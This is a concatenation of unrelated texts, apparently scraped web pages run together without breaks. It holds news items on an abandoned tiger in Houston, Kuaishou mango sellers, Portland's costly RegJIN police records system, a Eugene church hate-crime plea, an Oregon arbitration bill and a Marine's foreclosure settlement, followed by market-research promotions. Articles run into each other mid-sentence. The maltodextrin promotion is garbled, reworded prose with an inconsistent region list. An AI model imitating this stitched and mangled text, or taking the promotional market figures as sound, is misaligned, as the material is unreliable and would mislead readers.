The tiger was tranquilized and transported to a city animal shelter, where it was temporarily placed in a horse pen separate from other animals, Cottingham said. The city doesn't have the facilities or resources to take care of a tiger, which typically eats up to 25 pounds a day, but by late Monday night, a wildlife sanctuary in Texas had volunteered to give the tiger a permanent home.

Cottingham said officials believe the tiger is female, though they couldn't be sure until a veterinarian has examined it.

BARC Houston, the city's animal shelter, takes in about 26,000 animals a year, mostly cats and dogs. Cottingham said this isn't the first time an abandoned tiger has been rescued, but such incidents are rare.

"Unfortunately, some people think it's cool to have a tiger or exotic animals as a pet. . . . What often happens is it starts as a cute, cuddly little kitten and grows into a really large, expensive and potentially dangerous creature," Cottingham said. "That's how these animals are abandoned or left in really bad circumstances."

"Hopefully the moral of the story is the tiger is going to a great place that can take care of it," Cottingham said.

The unusual case evoked memories of the 2000 comedy "Dude, where's my car?," in which two bumbling potheads spent a long night partying and woke up with a fuzzy memory of the past 24 hours.

In Dude, wheres my tiger?, as Cottingham joked, an alleged weed smoker - who wishes to remain anonymous - found the tiger, whose owner remains unknown.In 2017, Gao Yulou and his wife Wang Jiao turned their backs on steady income in the bustling city of Kunming, capital of Southwest China's Yunnan province, and headed back to their hometown to be mango farmers.



The inspiration came after Gao saw someone selling fruits via videos online. He noticed how each video had a high click rate, and left people hungry to try what they'd seen.

His hometown is Huaping county in Lijiang, Yunnan province, China's third-largest mango production area, which is famed for its high-quality late-maturing mangoes.

There, they got to work, planting more than 2,000 mango trees. In 2018, they began to record and share local specialty and gourmet videos though Kuaishou, a photo and video-sharing app popular among rural communities and migrant workers.

Helped by some cameo appearances by their lovable toddler daughter, popularity soon spread, and their Kuaishou account now has 1.82 million fans or followers.

The account now sources fruit from 63 farmers in the area, and has sold more than 85 metric tons of mangoes.

Each month, they sell more than 30,000 yuan ($4,430) of agricultural productshalf of that comes directly from Kuaishou.

"We will always record our life with Kuaishou, which is not only a kind of software for us, but also a part of our life. We hope to explore a new way by virtue of content-driven e-commerce and make contribution to the revitalization of rural areas," Gao said.

Kuaishou has become particularly popular among small retailers and farmers in rural areas. Statistics from the company showed there are more than 3.75 million monthly active users in China's 832 poverty-stricken counties. In all, they make up around 20 percent of platform's total user base.

Explaining the popularity, Chen Sinuo, vice-president of Kuaishou, said the short videos enable users in rural areas to gain attention from the public, show their lives and have a sense of recognition and pride in their own identities.

Industry insiders say there is huge potential in developing agriculture products, rural ecology and tourism, especially if rural entrepreneurs look to harness the power of social media.

According to Kuaishou, more than 16 million people in rural areas received incomes through the platform in 2018, among which about 3.4 million people come from national-level poverty-stricken counties.

The firm has also cooperated with third-party e-commerce services like Taobao run by Alibaba Group Holding Ltd, and mobile e-commerce platform Youzan, which is backed by Tencent Holdings Ltd.

"Kuaishou, which has 160 million daily active users, has become the entrepreneurial platform for more and more individuals and small and medium-sized organizations," said Zhang Fan, director of Kuaishou's CSR project.

Content-driven e-commerce is a growing trend in China. Kuaishou's rival Douyin has also rolled out a shopping cart feature.

Figures from mobile big data company QuestMobile showed that by the end of September last year, Kuaishou had 257 million monthly active users, while Douyin had 231 million.

The revenue of the short-video industry reached 14.01 billion yuan in 2018, up a blistering 520.7 percent year-on-year, and the figure is expected to surpass 55 billion yuan in 2020, according to market research company iResearch.

"The method of publicizing products through short-video platforms can greatly solve the lagging sales of agricultural products caused by the lack of resources and channels," said Zhang Xintian, an analyst from market research company iResearch.

He added that the platforms also have social value.

"Users could learn about the natural and high-quality agricultural products through short-videos, experience rural life and further improve their awareness," Zhang said.

Zhang pointed out how cooperation between short-video platforms and e-commerce websites is an exciting commercial model.

"At present, short-video platforms play an obvious role in guiding traffic to e-commerce platforms," Zhang said, adding the platform could build its own e-commerce platform and logistics in the future.

Ma Shicong, an analyst with Beijing-based internet consultancy Analysys, said young mobile users are generating a growing demand for short videos, as their free time tends to be fragmented and short.

It seems Kuaishou is favored by people living in third and fourth-tier cities, while Douyin is popular among youths in first and second-tier cities, according to Ma.

"However, most of the apps will not make profits in the short term, as the early investment is huge. They generate incomes through advertisement revenue, membership fees and other value-added services," she added.Seven years after it was touted as an innovative electronic records system to manage police reports from 40 police agencies for sharing, the RegJIN program now has only seven participating agencies, with Portland police stuck kicking in millions of dollars to cover the bill.

Expenses for the systems software and support kept increasing while partner agencies dropped out of a cost-sharing agreement, leaving Portland police to pick up the difference.

Portland police now are asking the City Council to approve $1.4 million for fiscal 2019-2020 and another $1.52 million for fiscal 2020-21 to cover the gaps, plus about $5 million to be set aside to create a new, more affordable system for Portland police. That would happen once RegJins contract with Canada-based vendor Versaterm Inc. expires in July 2021.

It really is disappointing. The costs have been uncontrollable, Assistant Chief Chris Davis told The Oregonian/OregonLive this week. But a functioning record management system is not something we can live without.

The $12.6 million Regional Justice Information Network went live on April 14, 2015, intended to encourage collaboration between law enforcement agencies. It replaced the Portland Police Database System. Though Portland police own the new software, each agencys user fees were to help fund their use and ongoing support.

The ambitious project, though, was beset by problems from the start, with officers complaining that the new system was too cumbersome and complicated to use. They also said inflexible software made it difficult to update the system.

Agencies complained officers took twice as long to complete electronic police reports because entering information into the fields wasnt intuitive. The regional system also didnt match up with other important state and national law enforcement databases, so fixes had to be made.

The problems became so routine that a board overseeing the system began starting its meeting agendas with a success story so its sessions wouldnt just focus on all the drawbacks.

The annual cost of running the program  now about $2.5 million -- didnt drop because fewer agencies were using it.

Its like a TriMet bus, Davis said. It costs the same amount of money to run it whether its full or empty.

Less than a year after joining, the Clark County Sheriffs Office pulled out in 2016, with Undersheriff Mike Cooke calling the project a disaster. Clark County moved to another vendor, Executive Information Systems, or EIS.

Then Clackamas County Sheriffs Office and all municipal police agencies in the county except Lake Oswego left in 2017. They went to a records management and report entry system called Mark43, which Clackamas County Sheriffs Chief Deputy James Rhodes described as faster and easier, with fewer overtime costs and training hours.

And last summer, the Washington County Sheriffs Office and the countys municipal agencies announced their exit, effective Jan. 1.

Thats when costs went through the roof, Davis said.

Though Washington County Sheriffs Office benefited from being part of a law enforcement consortium, RegJIN limited its ability to customize the system for its own needs and records classifications, said Deputy Jeff Talbot, a spokesman.

Washington County is now using a cloud-based records management system through the same vendor that costs less, he said.

The Washington County Sheriffs Office system is now paired with Beaverton police, and the Sheriffs Office hopes to connect with other city police agencies in the county, Talbot said.

In three years, the Portland Police Bureaus share of the total RegJIN cost grew from 32 percent to 83 percent, according to city budget documents.

In hindsight, Davis said, Im not sure we realized what would happen if partner agencies werent happy and started leavingWe just dont have the money in our budget to afford this.

Aside from Portland police, the other six agencies still using the regional system are the Multnomah County Sheriffs Office, Gresham police, the Columbia County Sheriffs Office and the St. Helens, Scappoose and Lake Oswego police departments.

Some of the police agencies that pulled out can still query or view RegJIN data of the remaining agencies for a lesser charge.

The city approved $300,000 to hire a consultant to help select a replacement system for police reports, records management, crime analysis and data sharing. California-based DeltaWRX is still conducting that review, Davis said.

The bureau is considering returning to a database in which each agency has its own contract with a vendor of choice, relieving Portland of the responsibility for all agencies.

Portland police also hope to develop a sharing hub, which will allow agencies to share information regardless of what system theyre using for records management, said Tammy Mayer, the RegJIN project manager.

Hopefully, this will help reconnect all the local agencies again and meet the main intent of RegJIN, which was to share data, she said.

-- Maxine Bernstein

Email at mbernstein@oregonian.com

Follow on Twitter @maxoregonianA 69-year-old Eugene man pleaded guilty Tuesday to a hate crime - obstructing people in the free exercise of religious rights - for a series of threats to St. Mary Catholic Church in the citys downtown.

The church had removed Benjamin Jaramillo Hernandez from a service, but he returned and pumped pepper spray through a mail slot in the parishs front door and left a threatening note beside seven hollow point bullets in September, according to an FBI agent.

"You have turned me into the embodiment of evil ferocity!'' read the note written in black marker left at the church office. "Sunday ... you devils from hell will pay for what you have done to ME! 2 MP5s w/50 rounds each! Eugene is going on the (expletive) MAP!''

Several days earlier, on Sept. 9, he had been escorted out of the church during communion after an angry outburst.

Investigators identified him through church surveillance images and arrested him at the Eugene Library across the street from the church on Sept. 21, initially accusing him of intimidation, criminal mischief and criminal trespass, according to court records. Hernandez was released from custody soon after but was picked up later on a federal warrant.

Hernandez also pleaded guilty to illegally possessing ammunition as a felon.

"Todays guilty plea reaffirms the basic principle that no one should live in fear because of their faith,'' Oregons U.S. Attorney Billy J. Williams said in a statement.

When he was arrested, Hernandez was found with two black Sharpie markers, a 3.1-ounce can of partially empty pepper spray, an Exacto knife, three .410 shotgun shells and 13 10 mm Sig hollow-point bullets, according to court records.

The bullets matched the brand and caliber of those left with the threatening note at the church office, FBI agent Timothy Suttles wrote in a federal affidavit.

When questioned, Hernandez said the pepper spray and bullets he had with him were for his personal protection, the affidavit says.

When asked if he remembered being escorted out of St. Mary's, according to the affidavit, he told an officer, "I don't know anything about St. Mary's. I'm not even Catholic.''

The Rev. Ronald Nelson, pastor at the church, told The Oregonian/OregonLive after Hernandezs arrest that it was unsettling when a strange orange substance suddenly wafted into the building, causing staff to start coughing. "We didnt know what it was. Is this some kind of chemical attack? It was kind of frightening,'' he said. "It definitely put us on guard.''

Hernandez has a prior conviction in 1991 for possession of false identification documents. He was sentenced to two years in prison in that case.

U.S. District Judge Ann L. Aiken will sentence Hernandez on May 22. The maximum sentence he could face for the hate crime is 20 years in prison and a fine of up to $250,000, and 10 years in prison for having ammunition.

-- Maxine Bernstein

Email at mbernstein@oregonian.com

Follow on Twitter @maxoregonianA bill that would prevent arbitrators from overturning certain discipline of police officers and other public employees drew sharp criticism this week as an end run around union contracts while others praised it as a way to preserve worker accountability.

The proposal was part of a package of bills presented by state Sen. Lew Frederick to the Senate Judiciary Committee, including legislation that would require all police agencies to do psychological screenings of new hires and offer mental health wellness programs for officers on the job.

But the arbitration bill drew the most comment. It would bar arbitrators from overturning employee discipline if the sanctions followed local ordinances and local public policy on sexual harassment, unjustified use of physical or deadly force and criminal misconduct.

The states arbitration system  a way to resolve disputes between employees and management that gives the arbitrator the final word - now allows a police officer to avoid real consequences for misbehavior, Frederick told the committee at a hearing Tuesday.

Several lawmakers and representatives of Oregon cities and counties favored the bill, while Oregon's Coalition of Police & Sheriffs vigorously opposed it.

If city or county commissioners approve a code of conduct for their workers, it should stand, said Scott Winkels, representing the League of Oregon Cities, and Rob Bovett, legal counsel for the Association of Oregon Counties.

Rep. Ron Noble, R-McMinnville, who served eight years as police chief in McMinnville and spent 28 years as an officer, said the three bills will help people like me maintain order and maintain the best people.

Ive been involved in arbitration as a member of Teamsters and as a manager. In law enforcement, we cant hold officers to a higher standard when our discipline process and arbitration process is at the lowest common denominator, Noble said. I think that needs to change. We expect something more from our police officers.

Rep. Janelle Bynum, D-Clackamas, also spoke in support of Fredericks bill. She noted the Portland City Councils recent 4-1 decision to reinstate fired Sgt. Gregg Lewis, give him $100,000 in back pay and allow him to retire. He had made inflammatory racial remarks about shooting black people during a precinct roll call.

The council feared an arbitrator would reverse the firing and send the sergeant back to work because the Police Bureaus discipline guide for inflammatory or derogatory language allowed only a maximum three-week suspension without pay.

I think that erodes public trust, particularly in the black community, Bynum said, of the councils action.

In the Portland case, City Commissioner Nick Fish laid the blame not with the arbitration system but with the Police Bureaus discipline guide.

Michael Selvaggio, a lobbyist for the Oregon Coalition of Police & Sheriffs, said the bill would unravel state collective bargaining laws and represents an attempt to bypass union contracts through local ordinances.

He said the matter has been litigated before and the bill before the committee is just another attempt to erode collective bargaining. Portland police Officer Daryl Turner, president of the Portland Police Association, also serves as president of the statewide coalition.

Selvaggio said the bill would place public employee discipline at the mercy of policy decisions by future city councils or county boards of commissioners and damage negotiated contracts that already set out discipline and arbitration procedures.

We do stand ready to help. Were not just a no organization, he said, citing the coalitions past efforts to help lawmakers develop guidelines for police body cameras and improve officer training on implicit biases.

If the coalition isnt a no organization, committee vice chair Sen. Kim Thatcher, R- Keizer, asked what would Selvaggio recommend to change the bill to make it acceptable to the group. Selvaggio replied that a technical fix wouldnt be sufficient.

Karl Koenig of the Oregon State Fire Fighters Council argued that the current arbitration process provides consistency throughout the state and warned that Fredericks bill would alter that.

Another arbitration bill, drafted at the request of city leaders including Portland Mayor Ted Wheeler, Senate Bill 383, had been on the committees agenda but was removed because city officials were busy this week with a work session and council vote on whether to keep Portland police in the FBI-led Joint Terrorism Task Force.

Portlands proposed bill is more narrow: prohibiting an arbitrator from reversing discipline by a law enforcement agency if the arbitrator agrees that misconduct occurred and the discipline imposed was in line with the police agencys discipline guide.

Wheeler also supports Fredericks bill, his spokeswoman Eileen Park said.

Most who testified supported the psychological screenings for new police officers and mental health programs for officers in general.

Marion County Undersheriff Troy Clausen, representing the Oregon State Sheriffs Association, said about 16 percent of police agencies in Oregon dont provide psychological pre-screening of new officers. They should do that and continue to provide mental health support throughout an officers career, he and others said.

I cant imagine ever hiring a police officer without that exam, said Woodburn Police Chief Jim Ferraris, who retired as an assistant chief from Portland police. This is a best practice.

The psychological screening and mental health wellness bills appear to have legislative support this session, but the arbitration bills may be routed to a work group for more discussion.

We are hoping it goes to a work group to bring stakeholders together to try to come to some agreement, said Troy Duker, Fredericks chief of staff.

-- Maxine Bernstein

Email at mbernstein@oregonian.com

Follow on Twitter @maxoregonian

Visit subscription.oregonlive.com/newsletters to get Oregonian/OregonLive journalism delivered to your email inbox.When Marine Jacob McGreevey returned home to Vancouver after four years in Afghanistan and Iraq war zones, the fight wasnt over. No, McGreevey launched into more combat, this time against the company he claimed illegally foreclosed on his house.

This month, the Marine won. But he did so only after a powerful ally -- the U.S. Department of Justice -- joined the fight on his side.

New Jersey based PHH Mortgage last week agreed to pay $125,000 each to McGreevey and five other servicemembers it foreclosed on. The firm did so after the U.S. Department of Justice sued it for violating federal law when it grabbed the servicemembers homes.

The Servicemembers Civil Relief Act protects members of the U.S. military from foreclosures and other collection efforts while on active duty and in the ensuing 12 months. Federal attorneys claimed PHH knew or should have known the homeowners were servicemembers and therefore protected by the law but seized their homes anyway.

This is great news, McGreevey said of the settlement. The $125,000 fully covers the losses he suffered in the foreclosure, he said.

But he remains frustrated with PHH. They could have made this is a positive PR situation, he said. Lets show how much we care about our veterans and lets fix this. But they didnt. They fought it for years. That shows their core values.

PHH did not admit or deny responsibility. PHH decided to settle this matter because it was in the best interest of these service members and allows the company to move forward and avoid protracted litigation. the mortgage company said in a statement.

PHH Mortgage foreclosed on McGreeveys Vancouver house in 2010, when he was on his third tour of duty. After McGreevey returned to civilian life, he got a job at a bank and learned of the federal law that should have prevented his foreclosure.

McGreevey hired Portland lawyer Sean Riddell, his former commanding officer in the Middle East, to represent him. They filed lawsuits against PHH and the Seattle-area foreclosure firm PHH hired to handle the foreclosure.

They lost because McGreevey had waited too long to file his complaint. The judge at the circuit court level ruled the statute of limitations had expired, and he was backed up by a panel of appeals court judges.

Riddell did not give up. He sent McGreeveys lawsuit and background information to every law enforcement agency and consumer protection group he thought might be interested. Lawyers from the Civil Rights Division of the U.S. Department of Justice took up the case.

The found five illegal foreclosures against servicemembers in PHHs portfolio. They also found about two-dozen improper foreclosures conducted by Northwest Trustee, the other defendant in McGreeveys original lawsuit.

You can survive adverse situations in your life and overcome them, McGreevey said. We lost at the civil level, but because of our tenacity we hung in there. Sean is the embodiment of tenacity. And eventually we won.North America Precision Gearbox Market Size to Grow Rapidly in Future | Global Key Players - Nuegart Gmbh, Bonfiglioli Riduttori SPA, WITTENSTEIN SE, and CGI, Inc

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The North America Precision Gearbox Market research report assembled by Market Study Report, LLC, provides a succinct analysis on the recent market trends. In addition, the report offers a thorough abstract on the statistics, market estimates and revenue forecasts, which further highlights its position in the industry, in tandem with the growth strategies adopted by leading industry players.North America Precision Gearbox Market size is estimated to surpass USD 556 million by 2024; according to a new research report by Global Market Insights, Inc.Request a sample of this premium report at:Nuegart Gmbh, Bonfiglioli Riduttori SPA, WITTENSTEIN SE, and CGI, Inc., are among the prominent players in the industry. Other notable players include Anaheim Automation, Inc, GAM, APEX Dynamics, and Onvio LLC.North America precision gearboxes are expected to reach around 969 thousand units till 2024. Rising demand of automation across various industries including food & beverage, packaging, and material handling will support the industry growth over the next eight years. Automation in manufacturing industry contributes to the extensive competitiveness and offers immense potential by assuring value creation over excessive labor costs according to the international standardsGovernment regulations for increasing the motor efficiency has forced the manufacturers to develop enhanced quality gearboxes. Moreover, provision of sustainable and cost-effective solutions for varied applications including transportation & food industry will contribute significantly for high revenue generation. However, adoption of direct drive mechanism will hamper the growth of North America precision gearbox market till 2024.Customized gear motors and sets are the emerging technologies that are gaining prominence in the industry. They are used to support machines and for application-specific requirements. To cope up with complex designs, a variety of stronger, smaller, and cost-effective gear drives are manufactured. Modular designs with verified gear setups and acceptable price-to-performance ratio leverage the benefits of standardization.For upgrading the automation of existing facilities, manufacturers provide a wide combination range of gears, their configuration types, and reduction ratios. For small quantity gearboxes, 3D modeling assists in designing models, which can be taken into machine tools for post-processing work.The North America precision gearbox market is projected to register substantial growth over the foreseeable years owing to rising trend of automation paired with developments in the robotics industry.Today, manufacturing industries are undergoing a huge technological revolution as automation has begun to take over tasks which once demanded massive human interference. In addition, the automation trend has received a welcoming response from industries and automation is being adopted on a large-scale to meet ever-growing consumer needs.For example, food processing and retail industries have automated several processes over the last few years due to factors like assured value creation and reduced labor costs. Recently, retail giant Walmart even announced a new way to accelerate a major link in its national supply chain model, through a high-tech consolidation center in Colton, CA in San Bernardino County. The new consolidation center will contain an automated sorting system, which will enable the retailer to process three times more freight volume compared to the manually-run facilities. Likewise, Sedanos has partnered with e-grocery startup Takeoff to launch a first-of-its-kind robotic supermarket. In view of such developments, it is rather overt that the North America precision gearbox market will soar high in the years to come.Request a discount on standard prices of this premium report at:The products extensive use in the robotics industry will further propel the North America precision gearbox market over the coming years. Recently for instance, FLIR systems revealed plans to acquire Endeavor Robotics to venture into unmanned ground vehicles market for military applications. Growing adoption of robotics across an array of industries will thus add impetus to North America precision gearbox market growth in the coming years.Planetary gearboxes are anticipated to account for approximately USD 480 million over the forecast timeframe. Products designed for long service range and accurate shaft alignment are highly preferred by industry players suitable for the alignment of the applications. Better heat dissipation along with high-efficiency arrangement will boost the product penetration till 2024. Parallel gearbox will grow at 4% CAGR owing to their compact design and less space consumption.North America precision gearbox market from cast iron is expected to dominate the industry with over 50% revenue share. Extensive usage of the material in construction of outer body of gearbox will contribute towards high revenue generation over the next eight years. The product is used for improved lubrication and high technological advancements in the manufacturing techniques. Moreover, lesser weight as compared to its counterparts is another factor responsible for the industry dominance over the forecast timeframe.Automotive application is anticipated to generate over 333 thousand units of precision gearboxes and will account for over 33% revenue share over the coming years. It can be attributed to high usage of gearboxes in application requiring superior torque along with speed reduction. Shifting consumer preference towards the products with enhanced comfort and simplified operations will induce immense potential to the North America precision gearbox market size till 2024.U.S. is expected to capture approximately 90% of the North America precision gearbox market over the forecast timeline. Rising standards of living will stimulate demand for vehicles and other precision gear containing products resulting in escalating sales for both OEM and aftermarket. Well defined stringent regulations in the country for the usage of precision gearboxes will foster the industry demand. These regulations include American National Standards Institute (ANSI) standards for robotic applications. Sustainable production, transportation, and packaging solutions along with growing food & beverage industry will support the country's dominance in the industry.North America precision gearbox market players are adopting aggressive strategies such as new product launches and geographic expansion to strengthen their foothold in the industry. For instance, in April 2015, WITTENSTEIN redesigned its gearboxes for delivering high performance in all technical disciplines. In August 2016, GAM expanded its U.S. manufacturing operations and introduced a quick delivery program for couplings and gearboxes.More Details on this Report:About Us:Marketstudyreport.com allows you to manage and control all corporate research purchases to consolidate billing and vendor management. You can eliminate duplicate purchases and customize your content and license management.Contact Us:Market Study Report LLC4 North Main Street,Selbyville, Delaware 19975USAPhone: 1-302-273-0910US Toll Free: 1-866-764-2150Email: sales@marketstudyreport.comWebsite:Blog:Smart Weapons Market Statistics, Analysis & Forecast To 2024 Lockheed Martin , Rheinmetall, Raytheon, Northrop Grumman, Boeing, Orbital ATK, MBDA, General Dynamics, General Atomics, AeroVironment

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North America will contribute significantly toward the smart weapons market. This growth is attributed to the continuous research & testing activities by government organizations across the region. For instance, in 2016, the U.S. government tested the first 350kg smart nuclear bomb designed to penetrate underground structures that will hit targets with precision and limited damage elsewhere.Rising investments by the military across the globe for introducing innovative and technologically-advanced systems for aiding the soldiers are strengthening the market size over the forecast period. For instance, in 2018, the U.S. government announced a defense budget of around USD 750 billion for the military to modernize their equipment and acquire advanced weapons for combat, positively influencing the smart weapons market growth.Request For Table Of Content @Based on technology, the smart weapons market size is divided into radar-guided, laser-guided, and satellite-guided. Advancements in radar technologies including improvements in range detection and communication capabilities are supporting the segment growth over the forecast timeframe.The proliferation of laser-guided smart weapons owing to high precision and advanced target acquisition capabilities is further strengthening the industry expansion till 2024.Industry participants are continuously investing in R&D to develop innovative solutions for differentiating their products from the competition. In 2016, Identilock introduced a smart gun that features a gun lock operating on fingerprint scanners. The gun allowed the user to store up to three biometric fingerprints for preventing any unauthorized usage, thereby supporting the industry proliferation till 2024.Based on product type, the smart weapons market is classified into projectiles, missiles, guns, and rockets. Advancements in technologies along with lightweight materials and small-sized weapons are boosting the smart weapons market share. Increasing adoption of smart weapons including small bombs with the capability to be equipped in UAVs with the fusion of high-precision sensors & cameras is providing a positive outlook for industry expansion.Make an Inquiry for purchasing this Report @Risks and bugs associated with electronics technology along with reliability concerns are hampering the market growth over the forecast timeframe. Moreover, higher costs associated with the acquisition of these weapons along with complex design requirements are further limiting the industry growth till 2024. However, industry participants along with defense organizations are continuously investing in the R&D to develop advanced smart weapons that pass stringent military tests, providing a positive outlook for the smart weapons market expansion.Browse Report Summary @Few players in the smart weapons market include Rheinmetall AG, Raytheon Company, Orbital ATK, MBDA, Inc., General Dynamics Corporation, Lockheed Martin, General Atomics, Northrop Grumman, AeroVironment, and Boeing. Joint ventures and partnerships are among the major strategies adopted by industry participants to increase their market share.About Global Market Insights:Global Market Insights, Inc., headquartered in Delaware, U.S., is a global market research and consulting service provider; offering syndicated and custom research reports along with growth consulting services. Our business intelligence and industry research reports offer clients with penetrative insights and actionable market data specially designed and presented to aid strategic decision making. These exhaustive reports are designed via a proprietary research methodology and are available for key industries such as chemicals, advanced materials, technology, renewable energy and biotechnology.Contact us:Arun HegdeCorporate Sales, USAGlobal Market Insights, Inc.Phone:1-302-846-7766Toll Free: 1-888-689-0688Email: sales@gminsights.comWeb:Linear Actuators Market Global Industry Analysis, Size, Share and Forecast 2017-2027

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Linear actuators assist in converting energy into straight line motions, generally for positioning applications. Most of the linear actuators are either mechanical or electro-mechanical devices that provide controlled movement and positioning. These actuators are primarily used in industrial machinery, computer peripherals, valves, and many other places where linear motion is required. A typical linear actuator generally produces push and pull action. As most processes across a variegated range of industries gets automated, the global linear actuators market is expected to expand with an impressive CAGR throughout the forecast period.Linear ActuatorsMarket: Drivers & RestraintsThe major factors boosting the growth of linear actuators market is rising automation across manufacturing industry. Industrial objectives such as achieving complete factory automation, and integrating Industrial Internet of Things are some of the prime reasons that will drive more demand for linear actuators. While, rising industrialization particularly in the third world countries is another factor that will drive the demand in the global linear actuators market, on the backdrop of increasing number of factories. As the number of research studies conducted increases, demand for telescopic actuators is expected to increase significantly. Also as companies overcome their legacy systems to achieve higher efficiency, and replace existing actuators with new ones, demand for linear actuators is expected to rise. Furthermore, as an increasing number of industrial process adopt self-control and positioning demand in the linear actuators market is expected to continuously rise.Request Sample Report@However, as concerns regarding employment rises among most countries on the backdrop of increasing automation in factories, demand for linear actuators might get sluggish over the end years of the forecast period. Adoption of 3D printing in many industries is another factor that will restrain the demand for linear actuators, as usage of machines will decrease.Linear ActuatorsMarket: Market SegmentationThe Linear Actuators Market is segmented into two parts based on operation type and end use industry:Based on operation mechanism, the linear actuator market is segmented into:MechanicalHydraulicPneumaticPiezoelectricElectro-mechanical actuatorsBased on End Use Industry, the linear actuator market is segmented into:AutomotiveMedical/HealthcareEnergy and Mining,SteelConstructionMilitaryChemicalOthersLinear Actuators Market: Regional OutlookGeographically, linear actuators market has been categorized into seven key regions including North America, Western Europe, Eastern Europe, APEJ, Japan, Latin America, and the Middle East & Africa.A prominent share of the demand for linear actuators comes from North America, and the region is expected to maintain its dominance throughout the forecast period. Furthermore, with more inclination towards shifting manufacturing in US from China and other ASEAN countries, demand for linear actuators will further rise in the region. Asia Pacific Exc. Japan is another prominent shareholder in terms of demand for linear actuators, amid, large manufacturing sector of China. Moreover, with India and Indonesia picking up at a fast pace, demand for linear actuators is expected to expand with a bullish growth rate over the forecast period. Being home to large automotive and research base companies, Western Europe is another prominent region generating huge demand for linear actuators. Eastern Europe is also expected to generate descent demand for linear actuators, particularly from energy and defense sector. Rising industrialization and the already dominant oil and gas industry of Middle East and Africa is the prime reason driving automation in the Middle Eastern region. Thus driving more demand for linear actuators. Japan is another prominent industrial nation, which drives demand for linear actuators, due to high automation penetration in their industries coupled with growing semiconductor industry of the region.Request to View TOC @Linear Actuators Market: Key PlayersSome of the players identified in Global Linear Actuators market are:-Duff-NortonHelix Linear Technologies, Inc.Altra Industrial MotionTolomatic, Inc.Fabco-Air, Inc.Actuonix Motion DevicesTusk Direct, Inc.Bishop-Wisecarver CorporationBEI Kimco MagneticsBurr Engineering & Development CompanyDel-Tron Precision, Inc.Rollon India Pvt. Ltd.About UsFuture Market Insights is the premier provider of market intelligence and consulting services, serving clients in over 150 countries. FMI is headquartered in London, the global financial capital, and has delivery centers in the U.S. and India.FMIs research and consulting services help businesses around the globe navigate the challenges in a rapidly evolving marketplace with confidence and clarity. Our customized and syndicated market research reports deliver actionable insights that drive sustainable growth. We continuously track emerging trends and events in a broad range of end industries to ensure our clients prepare for the evolving needs of their consumers.Future Market InsightsU.S. Office616 Corporate Way, Suite 2-9018,Valley Cottage, NY 10989,United StatesT: +1-347-918-3531F: +1-845-579-5705Email: sales@futuremarketinsights.comWeb:Maltodextrin Market will touch a valuation of nearly 3200 million $ in 2023 | Worldwide Top Key Players - Grain Processing, Roquette, Cargill, Matsutani and ADM

Maltodextrin Market

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This report gives top to bottom investigation of "Global Maltodextrin Market Outlook 2019-2023" utilizing SWOT examination for Strength, Weakness, Opportunities and Threat to the organization. The Maltodextrin Market report likewise gives an inside and out review of key players in the market organization.Global Maltodextrin Market Overview:The Maltodextrin industry has also suffered a certain impact, but still maintained a relatively optimistic growth, the past four years, Maltodextrin market size to maintain the average annual growth rate of 2.50% from 2600.00 million $ in 2015 to 2800.00 million $ in 2018, Market analysts believe that the next few years, Maltodextrin market size will be further expanded, we expect that by 2023, The market size of the Maltodextrin will reach 3200 million $.Available Exclusive Sample Copy of this Report @The Global Maltodextrin market evaluation is provided for the markets including areas development status, competitive landscape evaluation, and growth trends. Plans and development policies are discussed in addition to cost structures and manufacturing processes. This report also states import/export consumption, supply and demand Figures, cost, price, revenue and gross margins.The major Factors of Global Maltodextrin Market, such as the market for Maltodextrin is driven by the demand for low-calorie food items in the packaged food and bakery products industries.The report also covers segment data: Product Type, Application, End User and Region.Basis of report analysis, the upstream raw materials and equipment and downstream demand evaluation is also carried out. The international Maltodextrin market growth trends and marketing channels are analyzed. At Research Reports World, our goal is supplying a platform for many top notch marketplace study firms worldwide to publish their study reports, as well as helping the decision makers in finding most suitable marketplace study solutions under one roof. Our goal is to provide the best solution that matches the exact client requirements. This drives us to supply you with custom or syndicated study reports.Regionally, The Asia Pacific region dominated the Maltodextrin market and is projected to grow at the highest CAGR from 2019 to 2023. The main countries contributing significantly toward the growth of the Maltodextrin market in the region include China, India, and New Zealand.Buy this report online with 125 pages rundown of tables and figures and all around list of chapters on @Significant key players:1 Grain Processing Corp2 Roquette3 Cargill Inc.4 Matsutani5 ADMMaltodextrin market, by region:1 United States2 South America3 Europe4 Middle East5 AfricaGlobal Maltodextrin market 2019-2023: From crude materials to downstream purchasers of this industry will be broke down deductively, the element of item dissemination and deals channel will be introduced too. In a word, this report will assist you with establishing a display of mechanical advancement and attributes of the Maltodextrin market.Snatch your report @This investigation answers to the underneath key inquiries:1 Major improvement affecting the market?2 Where will every one of these improvements take the business in the mid to long haul?3 What are the up and coming sorts of Maltodextrin?4 What are the developing end-use ventures for Maltodextrin?5 What are the central point affecting the market development amid the figure time frame?In the end this report covers information and information on limit and generation outline creation piece of the pie investigation deals review supply deals and lack import fare and utilization and additionally cost value income and gross margin of Maltodextrin.Significant points in table of contents:1 Maltodextrin Product Definition2 Global Maltodextrin Market Manufacturer Share and Market Overview3 Manufacturer Maltodextrin Business Introduction4 Global Maltodextrin Market Segmentation (Region Level)5 Global Maltodextrin Market Segmentation (Product Type Level)6 Global Maltodextrin Market Segmentation (Industry Level)7 Global Maltodextrin Market Segmentation (Channel Level)8 Maltodextrin Market Forecast 2019-20239 Maltodextrin Segmentation Product Type10 Maltodextrin Segmentation Industry11 Maltodextrin Cost of Production Analysis12 ConclusionAbout usBusinessindustryreports.com is digital database of comprehensive market reports for global industries. As a market research company we take pride in equipping our clients with insights and data that holds the power to truly make a difference to their business. Our mission is singular and well-defined  we want to help our clients envisage their business environment so that they are able to make informed strategic and therefore successful decisions for themselves.Media contactBusiness industry reportspune  indiasales@businessindustryreports.com+19376349940New Study on Silica Aerogel Market Analysis Report by Global industry trends, revenue analysis and Top Key Players- Aspen Aerogels, Cabot, Aerogel, Nano High-Tech and Guangdong Alison Hi-Tech| foreseen till 2023

Silica Aerogel Market

